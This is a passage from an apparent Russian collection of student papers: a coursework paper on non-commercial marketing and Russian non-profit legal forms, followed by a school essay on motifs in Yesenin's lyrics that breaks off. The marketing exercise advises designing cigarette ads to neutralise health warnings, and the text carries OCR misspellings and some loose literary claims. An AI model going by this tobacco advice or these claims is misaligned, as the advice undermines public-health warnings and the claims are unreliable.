— маркетинг физических лиц, занимающихся некоммерческой деятельностью.

Главное, что объединяет эти три группы субъектов, — то, что их деятельность не связана непосредственно с получением прибыли и нацелена на решение социальных проблем населения.

Маркетинг государственных некоммерческих субъектов включает следующую маркетинговую деятельность.

1. Органов государственной власти (законодательной, исполнительной, судебной, местных органов управления и т.д.). Сюда относят деятельность по продвижению и доведению до населения концепций и программ:

— экономического и социального развития,

— совершенствования обороноспособности и безопасности страны и т. д.

2. Госбюджетных предприятий и организаций (здравоохранения, образования, науки, культуры). Сюда относят деятельность по привлечению пациентов, абитуриентов, научных идей, знаний, культурных ценностей и т. д.

3. Армии. Деятельность, по пропаганде концепции военного строительства, продвижению военной доктрины государства, привлечению молодежи на военную службу и т.д.

4. Других субъектов, входящих в эту многочисленную группу (например, налоговых органов, дорожной полиции, пожарной охраны, органов лицензирования и т.д.).

Маркетинг негосударственных некоммерческих субъектов объединяет маркетинговую деятельность следующих образований.

1. Политических партий, движений и блоков. Сюда относят деятельность по продвижению политических идей, концепций, программ, по продвижению кандидатов на выборы различного уровня.

2. Профсоюзных организаций. Эта деятельность связана с привлечением в свои ряды новых членов, доведением до работников перспектив развития отрасли в соответствии с интересами коллективов и работников и т. д.

3. Благотворительных и других фондов, некоммерческих ассоциаций. Примерами деятельности могут служить разработка и реализация программ по борьбе со СПИДом, наркоманией, алкоголизмом и т. д.

4. Религиозных конфессий. Деятельность связана с продвижением и пропагандой религиозной идеологии и привлечению новых прихожан.

Маркетинг физических лиц, занимающихся некоммерческой деятельностью, примерами которого могут послужить:

— маркетинг независимых политиков (по привлечению сторонников, созданию имиджа, продвижению своих идей, предвыборной и других программ и т.д.);

— маркетинг ученых, писателей, художников (по привлечению внимания целевых аудиторий, общественности, СМИ, и т.д.).

Особенности маркетинга физических лиц определяются их юридическим статусом, финансовым положением и целями маркетинговой деятельности.

Политическая партия для продвижения своего кандидата на выборы имеет возможность организовать специальную структуру («предвыборный штаб»), которая способна осуществлять целый комплекс маркетинговых и других мероприятий. У независимого кандидата эти возможности более ограничены (прежде всего, в финансовом отношении). В общем случае он может рассчитывать лишь на поддержку ближайших, чаше всего не очень многочисленных сподвижников, на спонсорскую помощь (не считая средств, официально выделяемых из госбюджета на проведение предвыборной кампании).

Некоммерческие образования по формам собственности разделяются на государственные некоммерческие субъекты и негосударственные некоммерческие субъекты. Отдельную группу составляют физические лица, занимающиеся некоммерческой деятельностью (независимые политики, ученые, миссионеры, проповедники, деятели искусства, культуры, спорта и т.д.).

Некоммерческие организации в России создаются и функционируют в различных организационно-правовых формах в зависимости от целей их создания, источников финансирования, разнообразия учредителей и правовых отношений между ними.

Наиболее распространенными формами отечественных некоммерческих организаций являются: общественная и религиозная организация (объединение), фонд, учреждение, некоммерческое партнерство, автономная некоммерческая организация, потребительский кооператив, объединение юридических лиц (ассоциация и союз).

Общественная и религиозная организация (объединение) — добровольное объединение граждан, в установленном законом порядке объединившихся на основе общности их интересов для удовлетворения духовных или иных нематериальных потребностей. Их членами могут быть как юридические, так и физические лица. Члены (участники) этих образований не сохраняют трав на переданное ими в собственность общественных и религиозньгх организаций имущество и членские взносы, не отвечают по их обязательствам, а те не отвечают по обязательствам своих членов.

Примерами общественных объединений могут служить:

— политические партии и движения («Единство», «Отечество — Вся Россия», «Яблоко», «Коммунистическая партия Российской Федерации», «Союз Правых Сил», «Либерально-демократическая партия»);

— религиозные конфессии (Русская православная церковь, Ислам, Иудаизм, Буддизм).

Фонд — не имеющая членства некоммерческая организация, учрежденная гражданами и (или) юридическими лицами на основе добровольных имущественных взносов и преследующая социальные, благотворительные, культурные, образовательные или иные общественно-полезные цели. Имущество, переданное фонду его учредителями, является собственностью фонда. Учредители не отвечают по обязательствам фонда, а фонд — по обязательствам его учредителей. Уставом фонда предусматривается создание попечительного Совета, призванного надзирать на общественных началах за деятельностью и соблюдением фондом законодательства, а также за использованием средств.

Среди многочисленных фондов, образованных и действующих в России — Фонд культуры, Детский фонд, Фонд Мира и др.

Учреждение — некоммерческая организация, созданная собственником для осуществления управленческих, социально-культурных или иных функций некоммерческого характера и финансируемая полностью или частично этим собственником. Общественное учреждение владеет, пользуется и распоряжается закрепленным за ним имуществом в соответствии с законом, а также исходя из целей своей деятельности, указаний собственника и назначения имущества. Общественное учреждение (в отличие от других общественных организаций) отвечает по своим обязательствам находящимися в его распоряжении денежными средствами. При их нехватке субсидиарную ответственность по его обязательствам несет собственник имущества.

К некоммерческим учреждениям относятся такие учреждения, как, Собес, государственные нотариальные конторы, государственные медицинские, образовательные учреждения, библиотеки, музеи и пр.

Некоммерческое партнерство — основанная на членстве некоммерческая организация, учрежденная гражданами и (или) юридическими лицами для содействия ее членам в осуществлении деятельности, направленной на достижение некоммерческих целей. Имущество, переданное некоммерческому партнерству его членами, является собственностью этого образования. Члены некоммерческого партнерства не отвечают по его обязательствам, равно как и партнерство не отвечает по обязательствам своих членов.

Характерным примером некоммерческого партнерства может послужить Совет церквей евангельских христиан-баптистов, объединяющий 43 зарегистрированных организации для разностороннего содействия их религиозной деятельности.

Автономная некоммерческая организация — не имеющая членства некоммерческая организация, учрежденная гражданами и (или) юридическими лицами на основе добровольных имущественных взносов в целях предоставления услуг в области образования, здравоохранения, культуры, науки, права, физической культуры и спорта и иных услуг. Учредители автономной некоммерческой организации не сохраняют прав на имущество, переданное ей в собственность; имеют право пользоваться услугами своей организации на равных правах с ее членами.

Типичным примером является некоммерческая организация «Российская Ассоциация Маркетинга», созданная в 1995 году ведущими промышленными и финансовыми компаниями России (НК «ЛУКойл», АО «АВТОВАЗ», «ЮКОС», «Ноябрьскнефтегаз» и др.), банками («Менатеп», «СБС-АГРО», «Автобанк», «Торибанк» и др.), исследовательскими организациями (Фонд «Общественное мнение», ВЦИОМ и др.), рядом аудиторских и консалтинговых фирм и ведущих университетов страны. Основной задачей Ассоциации является координация маркетинговых программ на общероссийском и региональном уровнях, а также представление Российской Федерации в этой области в международных организациях.

Потребительский кооператив — добровольное объединение граждан и юридических лиц на основе членства с целью удовлетворения материальных и иных потребностей участников, осуществляемое путем объединения его членами имущественных паевых взносов. Примерами могут служить жилищно-строительные, дачно-строительные и гаражно-строительные кооперативы.

Объединение юридических лиц (ассоциация и союз) — членская организация, объединяющая любые коммерческие, некоммерческие и государственные организации в некоммерческих целях. Члены союза (ассоциации) сохраняют свою самостоятельность и права юридического лица. Это образование не отвечает по обязательствам своих членов. Члены союза (ассоциации) несут субсидиарную ответственность по его обязательствам в размере и порядке, предусмотренном учредительными документами.

В Российской Федерации существуют общероссийские, межрегиональные, региональные и местные некоммерческие объединения юридических лиц. Общероссийские образования имеют право использования в своих названиях наименования «Россия» и «Российская Федерация» (например, «Российский союз промышленников и предпринимателей»).

3. Управление имиджем организации

Имидж организации — устойчивое представление клиентов, партнеров и общественности о престиже организации, качестве ее товара и услуг, репутации руководителей. Положительный имидж позволяет организации обеспечить рост лояльности и поддержки партнеров, потребителей товара (услуг), персонала, региональных и муниципальных властей и средств массовой информации.

Успешный процесс формирования имиджа требует управления. Мы предлагаем вам разработать систему управления имиджем организации. Этапы работ:

Анализ существующей системы управления имиджем организации (внутренним и внешним).

Определение ключевых составляющих системы управления имиджем, соответствующих этапу развития организации, ее целям и задачам, а также ожиданиям внешней среды.

Определение корпоративной индивидуальности («личности») организации.

Выявление и корректировка в соответствии с целями основных ценностей организации и норм поведения сотрудников (элементов корпоративной культуры).

Корректировка «жизненного стиля» организации (способа использования ресурсов).

Определение способа донесения до целевых групп особенностей организации.

Формирование системы управления имиджем организации, распределение зон ответственности в сфере управления имиджем по уровням управления.

Внедрение системы управления имиджем организации.

Заключение

Некоммерческий маркетинг осуществляется организациями и отдельными лицами, которые действуют в общественных интересах, выступают за какую-либо идею и не стремятся к получению финансовых прибылей.

Его можно анализировать, сравнивая с маркетингом, ориентированным на получение прибылей, рассматривая систему классификации и его роль в народном хозяйстве. Важно понимать, что существуют как сходство, так и различия коммерческого и некоммерческого маркетинга. Для некоммерческих организаций особенно важны маркетинговые подходы.

Потребители могут выбирать между предложениями различных организаций. Преимущества, предлагаемые конкурирующими организациями, различаются. Потребительские сегменты могут иметь различные мотивы и критерии для своего выбора. Потребители могут испытывать либо удовлетворение, либо неудовлетворение.

К особенностям некоммерческого маркетинга можно отнести следующее:

1. Некоммерческий маркетинг связан с организациями, территориями и идеями, а также с товарами и услугами.

2. Происходит обмен голосов за лучшую власть или лучшее обслуживание, за снижение роста расходов.

3. Более сложные цели маркетинга, поскольку успех или неудача не может измеряться с чисто финансовых позиций.

4. Преимущества некоммерческого маркетинга часто не связаны с оплатой услуг и товаров потребителями.

5. От некоммерческих организаций могут ожидать или требовать обслуживания экономически невыгодных сегментов рынка.

Некоммерческие организации обычно имеют две категории клиентов. Это потребители и те, кто финансирует деятельность таких организаций, — органы власти или спонсоры.

Некоммерческие организации могут не получать доходов от повседневной деятельности, а опираться на периодические усилия по сбору средств. Кроме того, удачная маркетинговая кампания может приводить даже к денежным потерям, если услуги или товары предоставляются ниже себестоимости. Необходимо, чтобы бюджеты были достаточно большими для обслуживания ожидаемого числа клиентов, чтобы никто не сталкивался с плохим обращением или отказом.

От некоммерческих организаций часто ожидают или даже требуют обслуживания рыночных сегментов, которые коммерческие организации считают невыгодными. Это может создавать преимущества для коммерческих фирм, поскольку они могут концентрировать свои усилия на наиболее прибыльных сегментах рынка.

Задание

Какие принципы целесообразнее использовать при разработке коммуникационных сообщений относительно следующих товаров и услуг: сигареты, бытовая техника, дорогая косметика, моющие средства, одноразовые полотенца, энциклопедии, страховка, ремни безопасности? Почему?

Решение

Принципы, которым целесообразно следовать при разработке любого коммуникационного сообщения:

принцип создания отличительного преимущества;

принцип создания потребительской ценности;

принцип избирательной концентрации;

принцип учета фактора времени.

При разработке коммуникационных сообщений для сигарет необходимо учесть возраст целевой аудитории (от 18 лет), наличие антирекламы непосредственно в самом сообщении (например, курение вредит вашему здоровью), и создать такое сообщение, чтобы нейтрализовать эти факторы.

Сообщения относительно бытовой техники должны быть достаточно лаконичными и простыми, но при этом содержать максимум информации о комфорте и простоте использования техники.

Основная часть целевой аудитории дорогой косметики – женщины, поэтому сообщение должно быть ориентировано на них, их интересы и предпочтения, должно содержать максимум информации о преимуществах данного товара над конкурентами.

Коммуникационное сообщение относительно и моющих средств, и одноразовых полотенец должно быть основано на комфортности и благоустройстве дома, экономии времени и сил.

Энциклопедии, как правило, имеют свою специализацию, следовательно, и определенную целевую аудиторию. Коммуникационное сообщение должно содержать такую информацию, которая будет направлена именно на нее.

У большинства граждан нашей страны как страховка, так и ремни безопасности ассоциируются с безопасностью, спокойствием, уверенностью. Коммуникационное сообщение относительно этих товаров должно содержать информацию именно об этих преимуществах данного товара.

Список использованной литературы:

Андреев С.Н. Маркетинг некоммерческих субъектов — М., 2002.

Басовский Л.Е. Маркетинг. Москва, «Инфра-М», 2000 г.

Голубков Е.П. Основы маркетинга: Учебник. — М.: Финпресс, 1999.

Котлер Ф. Основы маркетинга. М.: — Прогресс, 1990.

Крылова Л.Д., Соколова М.И. Практикум по маркетингу: Учебное пособие. — М.: Банки и биржи, ЮНИТИ, 1995.

Ноздрева Р.Б., Крылова Г.Д., Соколова М.И., Гречков В.Ю. Маркетинг: Учебник. М.: Юрист, 2000.

Эванс Д., Берман Б. Маркетинг, М.: Экономика, 1990

Сочинение: Основные мотивы в лирике Есенина

СОДЕРЖАНИЕ

Введение

Творчество С.А.Есенина

Тема родины и природы в лирике С.А.Есенина

Космические мотивы в поэзии с. Есенина

«Древесные мотивы» лирики с. Есенина

Образы животных в лирике с. Есенина.

Заключение

Список использованной литературы

ВВЕДЕНИЕ

Есенин прожил всего тридцать лет, но след, оставленный им в поэзии, неизгладим. Богата талантами русская земля. Родился Есенин в Константинове, где прошли его детские годы, а затем и годы юности, здесь он написал свои первые стихи. К вершинам поэзии Сергей Есенин поднялся из глубин народной жизни. Мир народно-поэтических образов окружал его с детских лет. Вся красота родного края с годами изобразилась в стихах, полных любви к русской земле:

О Русь — малиновое поле,

И синь, упавшая в реку,

Люблю до радости и боли

Твою озерную тоску.

Боли и невзгоды крестьянской Руси, ее радости и надежды — все это отобразилось на поэзии Сергея Есенина. «Моя лирика, — не без гордости говорил Есенин, — жива одной большой любовью, любовью к Родине. Чувство
Родины — основное в моем творчестве». Край любимый! Сердцу снятся Скирды солнца в водах лонных, Я хотел бы затеряться В зеленях твоих стозвонных, — писал поэт. Такие строки, на мой взгляд, могут родиться только в душе истинного художника, для которого Родина — это жизнь. Дед Есенина, «яркая личность, широкая натура», по словам поэта, имел прекрасную память и знал наизусть множество народных песен и частушек. Сам Есенин знал в совершенстве русский фольклор, который изучал не по книгам. Мать Есенина знала множество песен, которые Есенин вспоминал не раз. Есенин знал песни, как редко кто их знал, он любил их — грустные и веселые, старинные и современные. Песни, сказания, поговорки — на этом воспитывался Сергей
Есенин. В его тетрадях было записано около четырех тысяч миниатюрных шедевров.

С течением времени талант Есенина набирал силу. Войти в литературный мир Есенину помог Блок, перед которым он преклонялся. Он (Блок) написал своему другу Городецкому письмо с просьбой помочь молодому таланту. В своем дневнике Блок писал: «Стихи свежие, чистые, голосистые. Давно не испытывал такого наслаждения». Позже стихи Сергея Есенина начали печатать столичные журналы: Мечтатель сельский — я в столице Стал первокласснейший поэт. Один из рецензентов сказал о ранних стихах поэта: «Усталый, пресыщенный горожанин, читая стихи Есенина, приобщается к забытому аромату полей, чем- то радостным веет от его поэзии».

Началась первая мировая война. Всем сердцем, всей душой поэт предан
Родине и своему народу в эти долгие годы горя и печали: Ой ты, Русь, моя родина кроткая, Лишь к тебе я любовь берегу. Стихотворение «Русь» — это замечательное и широко знаменитое произведение, это художественное кредо поэта. По настроению «Русь» чем-то перекликается с блоковскими скорбными раздумьями о Родине:

Россия, нищая Россия,

Мне избы серые твои,

Твои мне песпи ветровые,

Как слезы первые любви!

Время творчества Есенина — время крутых поворотов в истории России.
Он писал в автобиографии: «Революцию я принял, но с крестьянским уклоном».
Иначе и не могло быть. Есенин не просто лирик, это поэт большого ума, глубоких философских размышлений. Драматизм его мироощущения, его напряженные поиски истины, ошибки и слабости — все это грани огромного таланта, но, изучая его творческий путь, можно смело сказать, что Есенин всегда был верен себе в главном — в стремлении постичь сложную судьбу своего народа. Полтора года, проведенные поэтом за границей, были исключительным периодом в его жизни: он не писал стихов, ничто не вдохновляло поэта вдали от родного края. Именно там возник замысел трагедийной поэмы «Черный человек». Это последнее поэтическое произведение
Есенина. Только за границей он понял, какие грандиозные перемены происходят на Родине. Он отмечает в дневнике, что, возможно, русская революция спасет мир от безнадежного мещанства. После возвращения из-за границы Есенин посещает родные края. Ему грустно, ему кажется, что народ не помнит о нем, что в деревне произошли огромные перемены, но в какую сторону, он определить не мог. Поэт пишет: Вот так страна!

Какого ж я рожна,

Орал, что я с народом дружен.

Моя поэзия здесь больше не нужна,

И сам я здесь ни капельки не нужен.

С горы идет кpecmъянcкuй комсомол,

Наяривая под гармошку рьяно,

Поют агитки Бедного Демьяна,

Веселым криком оглашая дол.

Долгие годы в школе изучали поэзию Демьяна Бедного, Лебедева- Кумача, но молодежь не знала Ходасевича, талантливого от бога, в школьные учебники не включали лирику Есенина, ложно обвиняя его в безыдейности, .лучших поэтов вычеркивали из литературы. Но они живы, их стихи читают, любят, им верят. Есенин «кровью чувств» писал свои стихи. Раздавая себя, он рано сгорел сам, его поэзия — это его судьба. Еще раньше в стихотворении «Устал я жить в родном краю» он предрекает свое будущее:

Устал я жить в родном краю

В тоске по гречневым просторам,

Покину хижину мою, уйду бродягою и вором…

А месяц будет плыть и плыть, роняя весла по озерам,

И Русь все так же будет жить, плясать и плакать у забора.

В поэзии последующих лет все чаще звучит мотив грусти, сожаления о растраченных силах, от его поэзии веет какой-то безысходностью. В «Черном человеке» он пишет трагические строки: «Друг мой, я очень и очень болен, сам не знаю, откуда взялась эта боль, то ли ветер шумит в чистом поле, то ль, как рощу в сентябрь, сжигает мозги алкоголь». Это не минутная слабость поэта, это ясное понимание, что жизнь его подходит к концу. Недавно в нашей прессе промелькнуло сообщение о том, что Есенин не покончил жизнь самоубийством, что его убили, потому что он оказывал большое влияние на умы русского народа. Вопрос спорный, но строки («в этой жизни умереть не ново, но и жизнь, конечно, не новей») говорят о том, что он устал бороться с окружающей действительностью. Мне бы хотелось закончить свое очинение строками из его стихотворения «Мы теперь уходим понемногу». Его слова- это дань Родине, потомкам: Много дум в тишине я продумал, Много песен про себя сложил, И па этой по земле угрюмой Счастлив тем, что я дышал и жил.

ТВОРЧЕСТВО С. А. ЕСЕНИНА.

Творчество Сергея Александровича Есенина, неповторимо яркое и глубокое, ныне прочно вошло в нашу литературу и пользуется огромным успехом у многочисленного советского и зарубежного читателя. Стихи поэта полны сердечной теплоты и искренности, страстной любви к беспредельным просторам родных полей, «неисчерпаемую печаль» которых умел он так эмоционально и так звонко передать.

В нашу литературу Сергей Есенин вошёл как выдающийся лирик. Именно в лирике выражено всё, что составляет душу Есенинского творчества. В ней полнокровная, искрящаяся радость юноши, заново открывающего удивительный мир, тонко чувствующего полноту земной прелести, и глубокая трагедия человека, слишком долго остававшегося в «узком промежутке» старых чувств и воззрений. И если в лучших стихотворениях Сергея Есенина — «половодье» самых сокровенных, самых интимных человеческих чувств, они до краёв наполнены свежестью картин родной природы, то в других его произведениях- отчаяние, тлен, безысходная грусть. Сергей Есенин прежде всего — певец
Руси, и в его стихах, по-русски искренних и откровенных, мы ощущаем биение беспокойного нежного сердца. В них «русский дух», в них «Русью пахнет».
Они впитали в себя великие традиции национальной поэзии, традиции Пушкина,
Некрасова, Блока. Даже в любовной лирике Есенина тема любви сливается с темой Родины. Автор «Персидских мотивов» убеждается в непрочности безмятежного счастья вдали от родного края. И главной героиней цикла становится далёкая Россия: «Как бы ни был красив Шираз, он не лучше рязанских раздолий». С радостью и горячим сочувствием встретил Есенин
Октябрьскую революцию. Вместе с Блоком, Маяковским он без колебаний встал на её сторону. Произведения, написанные Есениным в то время(«Преображение»,
«Инония», «Небесный барабанщик»), проникнуты бунтарскими настроениями. Поэт захвачен бурей революции, её величием и рвётся к новому, к будущему. В одном из произведений Есенин восклицал: «Мать моя родина, я — большевик!»
Но Есенин, как он сам писал, воспринял революцию по-своему, «с крестьянским уклоном», «больше стихийно, чем сознательно». Это наложило особый отпечаток на творчество поэта и во многом предопределило его дальнейший путь. Характерны были представления поэта о цели революции, о будущем, о социализме. В поэме «Инония» он рисует будущее как некое идиллическое царство крестьянского благополучия, социализм кажется ему блаженным «мужицким раем». Такие представления сказались и в других произведениях Есенина того времени:

Вижу вас, злачные нивы,

С стадом буланых коней.

С дудкой пастушеской в ивах

Бродит апостол Андрей.

Но фантастическим видениям мужицкой Инонии, естественно,не суждено было сбыться. Революцию возглавлял пролетариат, деревню вёл за собой город.
«Ведь идёт совершенно не тот социализм, о котором я думал» ,-заявляет
Есенин в одном из писем того времени. Есенин начинает проклинать «железного гостя», несущего гибель патриархальному деревенскому укладу, и оплакивать старую, уходящую «деревянную Русь». Этим и объясняется противоречивость поэзии Есенина, прошедшего сложный путь от певца патриархальной, нищей, обездоленной России до певца России социалистической, России ленинской. После поездки Есенина за границу и на
Кавказ в жизни и творчестве поэта происходит перелом и обозначается новый период. Она заставляет его крепче и сильнее полюбить своё социалистическое отечество и по-иному оценить всё, что в нём происходит.»…Я ещё больше влюбился в коммунистическое строительство»,
-писал Есенин по возвращении на родину в очерке «Железный Миргород». Уже в цикле «Любовь хулигана», написанном сразу же по приезде из-за границы, настроения потерянности и безысходности сменяются надеждой на счастье, верой в любовь и будущее .Прекрасное стихотворение» Заметался пожар голубой…», полное самоосуждения, чистой и нежной любви, даёт ясное представление о новых мотивах в лирике Есенина:

Заметался пожар голубой,

Позабылись родимые дали.

В первый раз я запел про любовь,

В первый раз отрекаюсь скандалить.

Был я весь — как запущенный сад,

Был на женщин и зелие падкий.

Разонравилось петь и плясать

И терять свою жизнь без оглядки.

Творчество Есенина — одна из ярких, глубоко волнующих страниц истории советской литературы. Отошла в прошлое эпоха Есенина, но его поэзия продолжает жить, пробуждая чувство любви к родимому краю, ко всему близкому и разному. Нас волнует искренность и одухотворённость поэта, для которого самым дорогим на всей планете была Русь.

ТЕМА РОДИНЫ И ПРИРОДЫ В ЛИРИКЕ С.А.ЕСЕНИНА.

Тема родины — одна из главных тем в творчестве С. Есенина. Этого поэта принято связывать, прежде всего, с деревней, с родной для него
Рязанщиной. Но из рязанской деревни Константиново поэт уехал совсем молодым, жил потом и в Москве, и в Петербурге, и за границей, в родную деревню приезжал время от времени как гость. Это важно знать для понимания позиции С. Есенина. Именно разлука с родной землей придала его стихам о ней ту теплоту воспоминаний, которая их отличает. В самих описаниях природы у поэта есть та мера отстраненности, которая позволяет эту красоту острее увидеть, почувствовать.

Уже в ранних стихах С. Есенина звучат признания в любви к России.
Так, одно из наиболее известных его произведений — «Гой ты, Русь моя родная…» С самого начала Русь здесь предстает как нечто святое, ключевой образ стихотворения — сравнение крестьянских хат с иконами, образами в ризах, и за этим сравнением — целая философия, система ценностей. Мир деревни — это как бы храм с его гармонией земли и неба, человека и природы.
Мир Руси для С. Есенина — это и мир убогих, бедных, горьких крестьянских домов, край заброшенный, «деревня в ухабинах», где радость коротка, а печаль бесконечна:

«Грустная песня, ты — русская боль». Особенно это чувство усиливается в стихах поэта после 1914 года — начала войны: деревня кажется ему невестой, покинутой милым и ожидающей от него вестей с поля боя. Для поэта родная деревня в России — это нечто единое, родина для него, особенно в раннем творчестве, — это прежде всего родной край, родное село, то, что позднее, уже на исходе XX века, литературные критики определили как понятие
«малой родины». С присущей С. Есенину — лирику склонностью одушевлять все живое, все окружающее его, он и к России обращается как к близкому ему человеку: «Ой ты, Русь, моя родина кроткая, /Лишь к тебе я любовь берегу».
Порой стихи поэта обретают ноту щемящей грусти, в них возникает чувство неприкаянности, лирический герой их — странник, покинувший родную хижину, всеми отверженный и забытый. И единственное, что остается неизменным, что сохраняет вечную ценность — это природа и Россия: «А месяц будет плыть и плыть, Роняя весла по озерам…

И Русь все также будет жить, Плясать и плакать у забора».

С. Есенин жил в переломную эпоху, насыщенную драматическими и даже трагическими событиями. На памяти его поколения — война, революция, снова война — теперь уже гражданская. Переломный для России год — 1917 — поэт встретил, как и многие художники его круга, с надеждами на обновление, на счастливый поворот в крестьянской доле. Поэты круга С. Есенина того времени
— это Н. Клюев, П. Орешин,

С. Клычков. Надежды эти выражены в словах Н. Клюева — близкого друга и поэтического наставника С. Есенина: «Мужицкая ныне земля, /И церковь не наймит казенный». В Есенинской поэзии в 1917 году появляется новое ощущение
России: «Уж смыла, стерла деготь/ Воспрянувшая Русь». Чувства и настроения поэта этого времени очень сложны и противоречивы — это и надежды, и ожидания светлого и нового, но это и тревога за судьбу родного края, философские раздумья на вечные темы. Одна из них — тема столкновения природы и человеческого разума, вторгающегося в нее и разрушающего ее гармонию — звучит в стихотворении С. Есенина «Сорокоуст». В нем центральным становится обретающее глубоко символический смысл состязание между жеребенком и поездом. При этом жеребенок как бы воплощает в себе всю красоту природы, ее трогательную беззащитность. Паровоз же обретает черты зловещего чудовища. В Есенинском «Сорокоусте» вечная тема противостояния природы и разума, технического прогресса сливается с размышлениями о судьбах России.

В послереволюционной поэзии С. Есенина тема родины насыщена нелегкими думами о месте поэта в новой жизни, он болезненно переживает отчуждение от родного края, ему трудно найти общий язык с новым поколением, для которого календарный Ленин на стене заменяет икону, а «пузатый «Капитал» — Библию.
Особенно горько поэту сознание того, что новое поколение поет новые песни:
«Поют агитки Бедного Демьяна». Это тем более грустно, что С. Есенин справедливо замечает: «Я поэт! И не чета каким-то там Демьянам». Поэтому так горестно звучат его строки: «Моя поэзия здесь больше не нужна, /Да и, пожалуй, сам я тоже здесь не нужен». Но даже желание слиться с новой жизнью не заставляет С. Есенина отказаться от своего призвания российского поэта; он пишет: «Отдам всю душу октябрю и маю, /Но только лиры милой не отдам». И поэтому таким глубоким пафосом наполнено его признание:

«Я буду воспевать

Всем существом в поэте

Шестую часть земли

С названьем кратким «Русь».

Сегодня нам, живущим в России, трудно до конца понять смысл этих строк, а ведь написаны они были в 1924 году, когда само название — Русь — было едва ли не запретным, а гражданам полагалось жить в «Ресефесере». С темой родины у С. Есенина связано понимание своей поэтической миссии, своей позиции «последнего певца деревни», хранителя ее заветов, ее памяти. Одним из программных, важным для понимания темы родины, у поэта стало стихотворение «Спит ковыль»: «Спит ковыль.

Равнина дорогая

И свинцовой свежести полынь!

Никакая Родина другая

Не вольет мне в грудь мою теплынь.

Знать, у всех у нас такая участь,

И, пожалуй, всякого спроси —

Радуясь, свирепствуя и мучаясь,

Хорошо живется на Руси.

Свет луны, таинственный и длинный,

Плачут вербы, шепчут тополя,

Но никто под окрик журавлиный

Не разлюбит отчие поля.

И теперь, когда вот новым светом

И моей коснулась жизнь судьбы,

Все равно остался я поэтом

Золотой бревенчатой избы.

По ночам, прижавшись к изголовью,

Вижу я, как сильного врага,

Как чужая юность брызжет новью

На мои поляны и луга.

Но и все же новью той теснимый,

Я могу прочувственно пропеть:

Дайте мне на родине любимой,

Все любя, спокойно умереть».

Стихотворение это датировано 1925 годом, относится к зрелой лирике поэта. В нем выражены его сокровенные мысли. В строке «радуясь, свирепствуя и мучаясь» — трудный исторический опыт, который выпал на долю Есенинского поколения. Стихотворение построено на традиционно поэтических образах: ковыль как символ русского пейзажа и одновременно символ тоски, полынь с ее богатой символикой и журавлиный крик как знак разлуки. Традиционному пейзажу, в котором олицетворением поэзии является не менее традиционный
«свет луны», противостоит «новый свет», скорее абстрактный, неживой, лишенный поэзии. И в противоположность ему звучит признание лирического героя Есенинского стихотворения в приверженности вековому деревенскому укладу. Особенно значим у поэта эпитет «золотой»: «Все равно останусь я поэтом /Золотой бревенчатой избы». Он один из наиболее часто встречающихся в лирике С. Есенина, но обычно он связан с цветовым понятием: золотой — то есть желтый, но непременно и с оттенком высшей ценности: «роща золотая»,
«золотою лягушкой луна». В этом стихотворении оттенок ценности преобладает: золотой не только цвет избы, сколько символ ее непреходящей ценности как символа уклада деревенской жизни с присущей ей красотой, гармонией. Деревенская изба — это целый мир, ее разрушение не искупается для поэта никакой заманчивой новью. Финал стихотворения звучит несколько риторически, но в общем контексте поэзии С. Есенина он воспринимается как глубокое и искреннее признание автора. Таким образом, тема родины в поэзии С. Есенина развивается от безотчетной, почти по-детски естественной привязанности к родному краю к осознанной, выдержавшей испытания трудным временем перемен и переломов авторской позиции.

Я человек не новый, что скрывать, Остался в прошлом я одной ногою,
Стремясь догнать «стальную рать», Скольжу и падаю другою. Есенин «Вся моя автобиография — в стихах», — писал Есенин. Чем крупнее художник, чем масштабнее его творчество, чем самобытнее талант, тем труднее современникам полностью оценить его вклад в духовную жизнь нации. В более поздних стихах
Есенин, как бы подводя итоги своей творческой деятельности, писал: «Мое село лишь тем и будет знаменито, что здесь когда-то баба родила российского скандального пиита».

КОСМИЧЕСКИЕ МОТИВЫ В ПОЭЗИИ С. ЕСЕНИНА.

«Космос» – (от греч. порядок, мироздание) в мифологической и мифологизированной раннефилософской традиции мироздание, понимаемое как целостная, организованная в соответствии с определенным законом вселенная.

Всем мифологическим системам присущ общий набор черт, определяющих космос. Он противостоит хаосу и всегда вторичен.
Взаимоотношения космоса и хаоса осуществляются не только во времени, но и в пространстве. И в этом случае космос нередко представляется как нечто включенное внутрь хаоса, который окружает космос извне. Космический закон еще более тесно связывает космос и человека (макрокосм и микрокосм).

Космические мотивы можно встретить в творчестве многих поэтов, есть они и у Есенина. У него практически в каждом стихотворении присутствуют небесные явления, космические пейзажи. Так, например, месяц (луна) упоминается в 52 стихотворениях, солнце (10 ), звезды (32 ) , небо (14 ) .

Если в мифологизированных понятиях вертикальная структура космоса трехчленна и состоит из верхнего мира (небо), среднего (земля) и нижнего (подземное царство), то у С. Есенина космическая модель мира двухчленна (небо и земля). К первому – верхнему миру – относятся небесные явления (небо, солнце, луна, звезды), ко второму ярусу – среднему – относятся земля, деревья, животные, человек, жилищные и другие строения.
Эти ярусы очень тесно взаимосвязаны.

У лесной поляны – в свяслах копны хлеба,

Ели , словно копья, уперлися в небо.

(» Задымился вечер… » , 1912 г.)

Погасло солнце. Тихо на лужке.

(» Табун.» , 1915 г.)

Гляну в поле , гляну в небо —

И в полях и в небе рай.

(» Гляну в поле…» , 1917 г. )

В три звезды березняк над прудом…

( «Я покинул родимый дом…» , 1918 г. )

Дом , являясь центром вселенной , связан с космосом через крышу.

От луны свет большой

Прямо на нашу крышу.

( «Вот уж вечер. Роса…» , 1910 г. )

Луна над крышей , как злат бугор.

( » Под красным вязом крыльцо и двор…», 1915 г. )

Галочья стая на крыше

Служит вечерню звезде.

( «Вот оно , глупое счастье…», 1918 г. )

Выйдя из дома и отправившись в путешествие, лирический герой также ощущает свою связь со вселенной. Здесь вступает в силу » закон микрокосма и макрокосма». Человек – своего рода микрокосм, со всеми своими ощущениями, впечатлениями. Эти впечатления он получает из взаимодействия с природой, с другими людьми, то есть из макрокосма.

Хочу концы земли измерить,

Доверясь призрачной звезде.

( «Пойду в скуфье смиренным иноком…», 1914 г. )

Манит ночлег, недалеко от хаты,

Укропом вялым пахнет огород,

На грядки серые капусты волноватой

Рожок луны по капле масло льет.

(» Голубень». , 1916 г. )

Не гнетет немая млечность,

Не тревожит звездный страх

Полюбил я мир и вечность,

Как родительский очаг

( «Не напрасно дули ветры…» , 1917 г. )

Животные в произведениях Есенина также являются частью вселенной и их переживания, мироощущения также связаны с космосом.
Например, в стихотворении «Песнь о собаке» автор показывает боль животного, его страдания посредством космических мотивов.

Показался ей месяц над хатой

Одним из ее щенков.

( 1915 г. )

Золотою лягушкой луна

Распласталась на тихой воде.

( «Я покинул родимый дом…», 1918 г. )

